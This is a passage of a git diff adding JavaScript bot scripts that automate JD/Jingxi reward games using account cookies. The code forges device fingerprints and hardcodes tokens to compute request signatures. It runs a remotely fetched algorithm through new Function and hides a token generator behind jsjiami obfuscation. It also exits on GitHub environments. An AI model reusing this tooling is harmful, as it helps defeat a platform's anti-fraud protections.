'请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfd_loop.js b/backUp/jd_cfd_loop.js new file mode 100644 index 0000000..ad24010 --- /dev/null +++ b/backUp/jd_cfd_loop.js @@ -0,0 +1,434 @@ +/* +京喜财富岛热气球 +cron 30 * * * * jd_cfd_loop.js +活动入口:京喜APP-我的-京喜财富岛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛热气球 +30 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true +================Loon============== +[Script] +cron "30 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 +===============Surge================= +京喜财富岛热气球 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js +============小火箭========= +京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, 